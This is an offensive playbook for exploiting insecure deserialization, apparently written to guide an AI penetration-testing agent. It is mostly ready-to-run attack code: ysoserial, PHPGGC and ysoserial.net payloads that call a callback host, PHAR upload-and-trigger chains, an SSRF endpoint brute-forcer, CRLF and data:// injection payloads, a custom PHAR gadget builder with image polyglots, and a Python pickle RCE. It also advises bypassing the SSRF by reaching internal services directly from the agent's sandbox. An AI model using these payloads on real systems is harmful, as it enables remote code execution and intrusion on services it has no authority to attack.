Insecure Deserialization
Exploits applications that deserialize untrusted data, achieving Remote Code Execution (RCE) by crafting malicious serialized objects that trigger gadget chains.
Auth-Cookie Checkpoint (Before Declaring a Blind Sink Unreachable)
Blind deserialization sinks frequently appear "unreachable" only because the request lacks a session cookie that gates the deserialize path (auth_tier, role flag, CSRF-bound session). Before concluding the sink is wrong:
- Re-check session cookies. Enumerate every cookie the app sets across anon, low-priv, and high-priv sessions. Read
recon_notes.mdfor the "Sink preconditions" table and "Required session state" line. - If recon did not enumerate cookie-gating (no preconditions table, no session-state line in handoff): bisect cookies yourself. Replay the payload with the FULL authenticated jar, then drop one cookie at a time until the sink behavior changes. The cookie whose removal silences the sink is the gating cookie.
- Replay with the gating cookie attached before concluding the chain or gadget is wrong.
- Only then consider sink-side causes (wrong gadget, wrong serialization format, length filter, allowlist).
Skipping this checkpoint is the most common false-negative pattern: the gadget chain was correct all along, but the request was unauthenticated and silently 302'd to login.
Identifying Deserialization Points
- Java: Base64-encoded blobs starting with
rO0AB(raw) oraced0005(hex),Content-Type: application/x-java-serialized-object - PHP: Strings matching
O:[0-9]+:"ora:[0-9]+:{, cookies/parameters with serialized data - .NET:
VIEWSTATEparameter,Content-Type: application/soap+xml,__VIEWSTATEfield - Python: Base64-encoded pickle data,
application/x-python-pickle
Java — ysoserial
# Generate payload (common chains: CommonsCollections1-7, Spring1, Groovy1, Hibernate1)
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' > payload_cc1.bin
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' | base64 -w0 > payload_cc1_b64.txt
# CC5 → Collections 3.2.1 | CC6 → Collections 3.2.2+ | CC2,4 → Collections 4.0
# Inject via curl
curl -s 'https://<TARGET>/api/endpoint' -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload_cc1.bin -o deser_response.txt
PHP — PHPGGC
# Generate payload (chains: Laravel/RCE1-10, Symfony/RCE1-7, Guzzle/RCE1, Monolog/RCE1-7)
phpggc Laravel/RCE1 system 'id' -b > php_payload.txt
phpggc Laravel/RCE1 system 'id' -b | base64 -w0 > php_payload_b64.txt
PHP PHAR deserialization via file upload — the wrapper-triggered chain
When a target accepts file uploads AND any code path later passes a user-controlled filename through a PHP file function that ACCEPTS STREAM WRAPPERS (file_exists, file_get_contents, fopen, getimagesize, is_file, filesize, stat, md5_file, sha1_file, unlink, imagecreatefromjpeg/png/gif, etc.), uploading a PHAR file and referencing it via the phar:// wrapper triggers automatic deserialization of the PHAR's metadata — no unserialize() call required on the server side.
Pre-conditions: upload accepted (any extension — .jpg, .gif, .pdf, .phar, .txt all work because PHAR detection is content-based via signature, not extension); and at least one server-side path that resolves a user-influenced filename through a stream-wrapper-aware function.
# 1. Build PHAR with malicious metadata using phpggc (-p phar / --phar)
phpggc -p phar -o exploit.phar Monolog/RCE6 system 'id > /tmp/pwn'
# 2. Rename to a permitted upload extension so the upload filter accepts it
mv exploit.phar exploit.jpg
# 3. Upload via the app's upload endpoint
curl -s -X POST 'https://<TARGET>/upload' \
-F 'file=@exploit.jpg' -b "$COOKIE_JAR" -o upload_resp.txt
head -20 upload_resp.txt # extract the resulting filename/path
# 4. Trigger via any phar:// referencing endpoint
# Common surfaces: image processing, file-existence check, profile-image setter,
# avatar URL, attachment preview, report-export filename, log-viewer path.
curl -s "https://<TARGET>/preview?file=phar:///var/www/uploads/exploit.jpg" -o trigger.txt
curl -s "https://<TARGET>/avatar?path=phar:///var/www/uploads/exploit.jpg/test.txt" -o trigger2.txt
# 5. Verify execution via the chain's side-effect (file write, HTTP callback, DNS)
curl -s "https://<TARGET>/uploads/exploit.jpg.log" 2>/dev/null # or check callback
Notes:
- PHP 8.0+ removed automatic PHAR deserialization for many functions, but stream-wrapper paths still trigger it; check
phpinfo()forphar.readonlyandphar.require_hash. - The PHAR file MUST be uploaded with a path the trigger code can reach. If uploads land in
/var/www/uploads/and the trigger uses a virtual path, find the real-disk path via LFI or error messages first. - When upload extension is restricted (whitelist:
jpg/png/gif), append a polyglot prefix to the PHAR so the file still parses as the claimed format.phpggcsupports JPEG/GIF wrappers natively (--prefix '<JFIF/GIF header>'). - PHAR also supports
tar/zipcontainers (-f tar/-f zip) — useful when the upload filter sniffs ZIP/TAR magic.
Multi-service PHAR chain via SSRF + internal upload + hidden trigger
Common production architecture: a public frontend exposes an SSRF primitive (URL fetcher, webhook, "import from URL"), and a back-end service — reachable only via that SSRF — has BOTH a file-upload sink AND a phar://-aware function. The exploit is the chain, not any single endpoint.
Pre-conditions:
- Frontend has an SSRF that can reach the internal service (URL validation + scheme/port filter does NOT block
http://to the internal host). - Internal service exposes an upload endpoint that writes attacker-controlled bytes to a known path (response usually returns the saved path).
- Internal service ALSO exposes a code path that calls a stream-wrapper-aware PHP function on a user-controlled filename (
file_exists,file_get_contents('phar://' . $path . '/manifest'),is_file, etc.). - A gadget class exists on the internal service with a magic method (
__wakeup,__destruct,__toString) reachingeval/system/exec.
Reconnaissance step that agents skip (the failure mode): when SSRF first works against the internal service, enumerate every endpoint, not just the ones the front-end documents. Internal services frequently have hidden routes used only for internal control (/sku_read, /internal/process, /admin/import, /_debug/eval). The documentation endpoint (/, /api/docs, /help) typically lists only the public-facing routes — wordlist-brute the rest:
# Brute internal endpoints via SSRF — ALSO enumerate filename permutations.
# Common failure: agents guess one ordering of a two-word filename but the
# actual file uses the reversed order, a different separator, or a different
# extension. Internal-service filenames often do NOT mirror the public-facing
# endpoint naming convention even when they manipulate the same resource.
INTERNAL="http://internal-host:<port>"
SSRF="http://<TARGET>/url-fetcher.php?url="
# Words you already harvested from response bodies, error messages, or
# documentation pages on the internal service.
WORDS=(process read upload import export admin debug status info validate transfer)
# Generate permutations: each base word, both word-orders for two-word combos,
# with and without .php extension, and snake/kebab/camel variants.
paths=()
for w in "${WORDS[@]}"; do
paths+=("$w" "$w.php" "${w}_handler.php" "_${w}.php")
done
# Two-word combos (both orders) — common pattern: verb_noun + noun_verb
for a in process read upload import; do
for b in sku data file model; do
paths+=("${a}_${b}" "${a}_${b}.php" "${b}_${a}" "${b}_${a}.php" \
"${a}-${b}.php" "${b}-${a}.php" "${a}${b^}.php" "${b}${a^}.php")
done
done
# Generic api/ + admin/ + _internal/ + _debug/ namespace prefixes
for ns in "" "api/" "v1/" "_internal/" "_debug/" "admin/"; do
for ep in process read upload import export status info; do
paths+=("${ns}${ep}" "${ns}${ep}.php")
done
done
for path in "${paths[@]}"; do
safe=${path//\//_}
STATUS=$(curl -s -o "/tmp/probe_${safe}.txt" -w '%{http_code}' \
"${SSRF}${INTERNAL}/${path}")
SIZE=$(wc -c < "/tmp/probe_${safe}.txt")
# Skip uniform 4xx; surface anything that breaks the negative-baseline pattern.
echo "$path: status=$STATUS size=$SIZE"
done | sort -t= -k2 -u
Why permutation matters: public-facing endpoints are usually named <resource>_<action>.<ext> (the publicly-visible CRUD-style API). Internal backend files often invert this to <action>_<resource>.<ext> because internal code organization mirrors action-then-resource naming (the verb that the handler executes is in the filename head). Guessing only one ordering misses the other 50%. Always permute (both orderings × with/without extension × snake/kebab/camel separators).
Chain template:
# 1. Build PHAR (gadget with __wakeup/__destruct → eval/system)
phpggc -p phar -o exploit.phar <Framework>/RCE<N> system 'id > /tmp/pwned'
mv exploit.phar exploit.jpg
# 2. SSRF #1 — POST PHAR to internal upload endpoint; capture saved path
curl -s "http://<TARGET>/<SSRF_ENDPOINT>?url=http://<INTERNAL>:<PORT>/upload" \
--data-urlencode "data=$(base64 -w0 exploit.jpg)" \
-o /tmp/upload_resp.txt
SAVED_PATH=$(jq -r '.file_path' /tmp/upload_resp.txt)
# 3. SSRF #2 — trigger phar:// on the saved path via the hidden internal endpoint
curl -s "http://<TARGET>/<SSRF_ENDPOINT>?url=http://<INTERNAL>:<PORT>/<HIDDEN_TRIGGER>" \
--data-urlencode "file_path=${SAVED_PATH}"
# 4. Verify side-effect (file write, callback, log line, etc.)
SSRF body-control gotcha — the #1 reason this chain stalls. If the frontend SSRF wraps the outbound request in a hard-coded stream context (e.g. 'method' => 'POST', 'content' => http_build_query(['param1' => 'value1', 'param2' => 'value2'])), every internal request shares the SAME body bytes regardless of any value you submit. Recognition signal: source-disclose sku_url.php-style fetcher (via /backup/, /.git/, error stacks, or by reading the internal index page that often documents endpoints) → spot the 'content' => ... line with a hardcoded query string. If you cannot disclose the source, infer the gotcha when:
- The SSRF endpoint accepts a URL field but the internal upload endpoint (whose path you can deduce from the URL field's value or the internal docs) always returns
{"status":"failure"}/ "missing data" regardless of what you send. - Multipart, JSON, raw-binary, and query-string-only POSTs ALL produce the identical failure shape — body content is being overridden.
Concrete workaround ladder (try in this order; each takes one or two curl calls):
- Source-disclose
backup.zip/.git/config/ accessible admin source endpoints via the SSRF first. The exact hardcoded body string is your primary intel — it names the literal POST params the internal endpoint receives. Then read the internal endpoint's source to determine WHICH PHP superglobal it consumes ($_POST,$_REQUEST,$_GET,php://input,getallheaders()). If it uses$_REQUESTor$_GET, query-string params on the SSRF URL are sufficient — the hardcoded body coexists with your query string:# Encode PHAR as base64 into the SSRF URL's query string PHAR_B64=$(base64 -w0 exploit.phar) curl -sG "http://<TARGET>/<SSRF_ENDPOINT>" \ --data-urlencode "url=http://<INTERNAL>:<PORT>/upload?data=${PHAR_B64}" - Sandbox-direct port reach — confirm whether the internal service is reachable from the agent's sandbox container by IP, even when not externally port-mapped. Docker compose networks default-route the agent container into
172.x.x.x/8so other compose services may be reachable by service name (skumodel,internal-svc) or by their internal IP. One curl from the sandbox bypasses the SSRF entirely:curl -s "http://skumodel:<PORT>/upload" --data-urlencode "data=$(base64 -w0 exploit.phar)" curl -s "http://172.20.0.5:<PORT>/upload" --data-urlencode "data=$(base64 -w0 exploit.phar)" - CRLF injection into the SSRF URL field to rewrite the outbound request line OR inject additional POST body bytes. Many
parse_url+file_get_contentscombos do not normalize CR/LF inside the URL host or path components; injecting%0d%0alets you override theContent-Lengthand append your payload to the body:curl -sG "http://<TARGET>/<SSRF_ENDPOINT>" \ --data-urlencode "url=http://internal:port/upload%0d%0aContent-Length:%20<NEW_LEN>%0d%0a%0d%0adata=<PHAR_B64>" - Second SSRF surface — many apps have more than one URL fetcher (image preview, OAuth redirect, webhook ping, RSS importer). If the first SSRF has a hardcoded body but a second one accepts an arbitrary body, chain them: second SSRF performs the upload, first SSRF triggers
phar://via the read endpoint. Recon for ALL URL-accepting fields, not just the one namedurl. - Stream-context override via PHP wrapper in the URL —
php://temp/data://schemes inside the user-provided URL can supply alternate body bytes that override the hardcoded'content'. Only relevant whenFILTER_VALIDATE_URLis lax or wrappers are not stripped:curl -sG "http://<TARGET>/<SSRF_ENDPOINT>" \ --data-urlencode "url=data://text/plain;base64,$(echo -n "data=${PHAR_B64}" | base64 -w0)"
Recognition + workaround order is the discriminating skill — the body-control gotcha is not the conceptual chain (agents typically reach the chain on their own). The skill is recognizing the signature in 1–2 probes and immediately rotating through workarounds 1→5 instead of iterating dozens of multipart/JSON variants that all collide with the hardcoded body.
Generality: applies to any PHP shop with split frontend/worker architecture (WordPress + media worker, Symfony + asset service, custom microservice with PHP backend). The pattern is recon-first: trace what the SSRF can REACH, enumerate every endpoint at that destination, then chain.
Building a custom PHAR when phpggc has no gadget for the target's framework
phpggc covers public frameworks (Laravel, Symfony, Monolog, Guzzle, Yii, CodeIgniter, Drupal, WordPress, …). When the deserialization sink consumes a class defined in the target's own source code (in-house framework, custom template/cache/queue class) AND the class has a magic method reaching eval/system/exec, phpggc cannot pre-generate the chain — you must construct the PHAR manually from the disclosed source.
Pre-conditions:
- Target source disclosed (via
/backup/*,/.git/, leakedcomposer.lock→vendor/..., error stacks dropping file paths). Without source you do not know the class name, property names, or magic-method body. - A class in that source defines
__wakeup/__destruct/__toString/__call/__invokewhose body reaches a dangerous PHP function:eval($this->X),system($this->X),exec($this->X),call_user_func($this->X, ...),include($this->X),unserialize($this->X)(recursive sink), etc.
Construction recipe (run in your sandbox, not on target):
# 1. Stage a builder script — class definition MUST match the target's source EXACTLY
# (namespace, name, property names, types, visibility). Even a name typo aborts the chain.
cat > /tmp/build_phar.php <<'BUILDER'
<?php
// === Paste the verbatim class shell from disclosed source ===
// Only the property names + magic-method shape matter for the gadget;
// other methods can be stubs.
class <ClassName> {
public $<prop_consumed_by_magic_method>;
public $<other_prop_if_present>;
// __wakeup / __destruct / __toString — whichever the source defines
public function __wakeup() {
eval($this-><prop_consumed_by_magic_method>); // mirror target's body
}
}
// === Payload values populate the properties the magic method reads ===
$g = new <ClassName>();
$g-><prop_consumed_by_magic_method> = 'system("id > /tmp/pwn"); ';
// === Build the PHAR with the gadget as METADATA ===
@unlink('/tmp/exploit.phar');
$p = new Phar('/tmp/exploit.phar');
$p->startBuffering();
$p->addFromString('manifest', 'dummy'); // any file content
$p->setStub('<?php __HALT_COMPILER(); ?>');
$p->setMetadata($g); // <-- the gadget rides here
$p->stopBuffering();
echo "PHAR built: " . filesize('/tmp/exploit.phar') . " bytes\n";
BUILDER
# 2. Run the builder — requires phar.readonly=Off in the local php.ini.
# Sandbox shortcut: php -d phar.readonly=0 /tmp/build_phar.php
php -d phar.readonly=0 /tmp/build_phar.php
# 3. Optional polyglot — prepend an image magic so upload filters accept it.
# JPEG ffd8ff prefix:
printf '\xff\xd8\xff\xe0' > /tmp/exploit.jpg && cat /tmp/exploit.phar >> /tmp/exploit.jpg
# Or GIF87a / GIF89a:
printf 'GIF89a' > /tmp/exploit.gif && cat /tmp/exploit.phar >> /tmp/exploit.gif
# 4. Base64 for upload-via-data parameter (common with SSRF chains).
base64 -w0 /tmp/exploit.jpg > /tmp/exploit.b64
Wiring the trigger (mirrors the standard PHAR flow):
# Upload the PHAR (data= or file= depending on endpoint)
UPLOAD_PATH=$(curl -s -X POST 'http://<UPLOAD_ENDPOINT>' \
--data-urlencode "data=$(cat /tmp/exploit.b64)" | jq -r '.file_path')
# Trigger phar:// dereference — the target's existing read/load/stat path
curl -s -X POST 'http://<TRIGGER_ENDPOINT>' \
--data-urlencode "file_path=${UPLOAD_PATH}"
# Verify the gadget's side effect (file write, callback, log line)
Common pitfalls when going custom:
- Class fully-qualified name — if the target source declares the class inside a namespace (
namespace App\Foo\Bar;), your builder MUST declare the same namespace, OR callsetMetadata(unserialize('O:NN:"App\\Foo\\Bar\\<ClassName>":...'))with the namespaced string. PHP serialization is namespace-aware (the leadingNNis the length of the namespaced class name). - Property visibility encoding —
protectedproperties serialize with\x00*\x00prefixes;privatewith\x00ClassName\x00. Mirroring source exactly avoids "property not set" silent failures. __wakeupvs__destructtriggering —__wakeupfires onunserializeof the metadata.__destructonly fires when the deserialized object goes out of scope. If the trigger endpoint catches an exception and continues,__destructstill runs at script shutdown.- PHAR signature requirement — when
phar.require_hash=1, the PHAR must end with a valid SHA1/SHA256 signature.Phar::stopBuffering()writes one automatically with the default stub, but a polyglot prefix may shift offsets and invalidate it. Verify withphp -d phar.readonly=0 -r 'print_r((new Phar("/tmp/exploit.phar"))->getSignature());'. __HALT_COMPILER()stub is mandatory — without it, PHAR refuses to load.
Generality: applies to any PHP application whose source you can disclose where a magic method reaches a dangerous primitive. The construction recipe replaces the missing phpggc gadget with a manual one built from intel — no framework match required.
.NET — ysoserial.net
# Generate payload (chains: TypeConfuseDelegate, TextFormattingRunProperties, WindowsIdentity)
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "cmd /c curl http://<CALLBACK>/rce" -o base64 > C:\workspace\dotnet_payload.txt
# ViewState exploitation (requires machineKey)
ysoserial.exe -p ViewState -g TypeConfuseDelegate --validationalg="SHA1" --validationkey="<KEY>" --generator="<GEN>" -c "cmd /c whoami > C:\temp\out.txt"
Python — Pickle
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ('curl http://<CALLBACK>/rce',))
payload = base64.b64encode(pickle.dumps(RCE()))
print(payload.decode())
# Generate and save
python3 -c "
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))
print(base64.b64encode(pickle.dumps(RCE())).decode())
" > pickle_payload.txt